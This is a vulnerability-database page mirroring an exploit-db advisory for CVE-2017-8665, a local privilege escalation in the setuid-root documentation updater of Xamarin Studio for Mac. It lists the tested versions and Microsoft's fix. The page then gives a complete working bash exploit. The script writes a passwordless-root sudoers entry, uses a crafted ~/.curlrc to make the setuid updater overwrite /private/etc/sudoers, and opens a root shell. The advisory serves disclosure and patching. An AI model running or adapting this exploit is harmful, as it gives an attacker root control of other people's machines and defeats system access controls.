Lucene search
+L

Xamarin Studio for Mac 6.2.1 (build 3) / 6.3 (build 863) - Local Privilege Escalation

🗓️ 14 Aug 2017 00:00:00Reported by SecurifyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 38 Views

Xamarin Studio API Documentation Local Privilege Escalatio

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Xamarin Studio for Mac 6.2.1 (build 3)/6.3 (build 863) - Privilege Escalation Vulnerability
15 Aug 201700:00
zdt
circl
Circl
CVE-2017-8665
14 Aug 201700:00
circl
cnvd
CNVD
Microsoft Xamarin.iOS Elevation of Privilege Vulnerability
15 Aug 201700:00
cnvd
cve
CVE
CVE-2017-8665
15 Aug 201718:00
cve
cvelist
Cvelist
CVE-2017-8665
15 Aug 201718:00
cvelist
mskb
Microsoft KB
Security update 2017-08-14
14 Aug 201707:00
mskb
kaspersky
Kaspersky
KLA11123 PE vulnerability in Xamarin.iOS
14 Aug 201700:00
kaspersky
mscve
Microsoft CVE
Xamarin.iOS Elevation Of Privilege Vulnerability
14 Aug 201707:00
mscve
nvd
NVD
CVE-2017-8665
15 Aug 201718:29
nvd
openvas
OpenVAS
Xamarin Studio Privilege Escalation Vulnerability - Mac OS X
17 Aug 201700:00
openvas
Rows per page
Source: https://www.securify.nl/advisory/SFY20170403/xamarin-studio-for-mac-api-documentation-update-affected-by-local-privilege-escalation.html

Abstract

Xamarin Studio is an Integrated Development Environment (IDE) used to create iOS, Mac and Android applications. Xamarin Studio supports developments in C# and F# (by default). The API documentation update mechanism of Xamarin Studio for Mac is installed as setuid root. This update mechanism contains several flaws that could be leveraged by a local attacker to gain elevated (root) privileges.

Tested versions

This issue was successfully verified on Xamarin Studio for Mac version 6.2.1 (build 3) and version 6.3 (build 863).

Fix

Microsoft released a new version of Xamarin.iOS that addresses this issue:
- Security update for the elevation of privilege vulnerability for Xamarin.iOS: August 14, 2017 (4037359)

#!/bin/bash
# WARNING: this scripts overwrites ~/.curlrc and /private/etc/sudoers (when successful)
#target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.6.0.10/share/doc/MonoTouch/apple-doc-wizard
target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.8.0.175/share/doc/MonoTouch/apple-doc-wizard
rm -rf ~/Library/Developer/Shared/Documentation/DocSets

cat << __EOF > /private/tmp/sudoers
%everyone   ALL=(ALL) NOPASSWD: ALL
__EOF

cat << __EOF > ~/.curlrc
url=file:///private/tmp/sudoers
output=/private/etc/sudoers
__EOF

echo
echo "*** press CRL+C when the download starts ***"
$target
echo

sudo -- sh -c 'rm -rf /private/tmp/ios-docs-download.*; su -'

rm -f /private/tmp/sudoers ~/.curlrc

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Aug 2017 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 27.2
CVSS 37.8
EPSS0.04345
38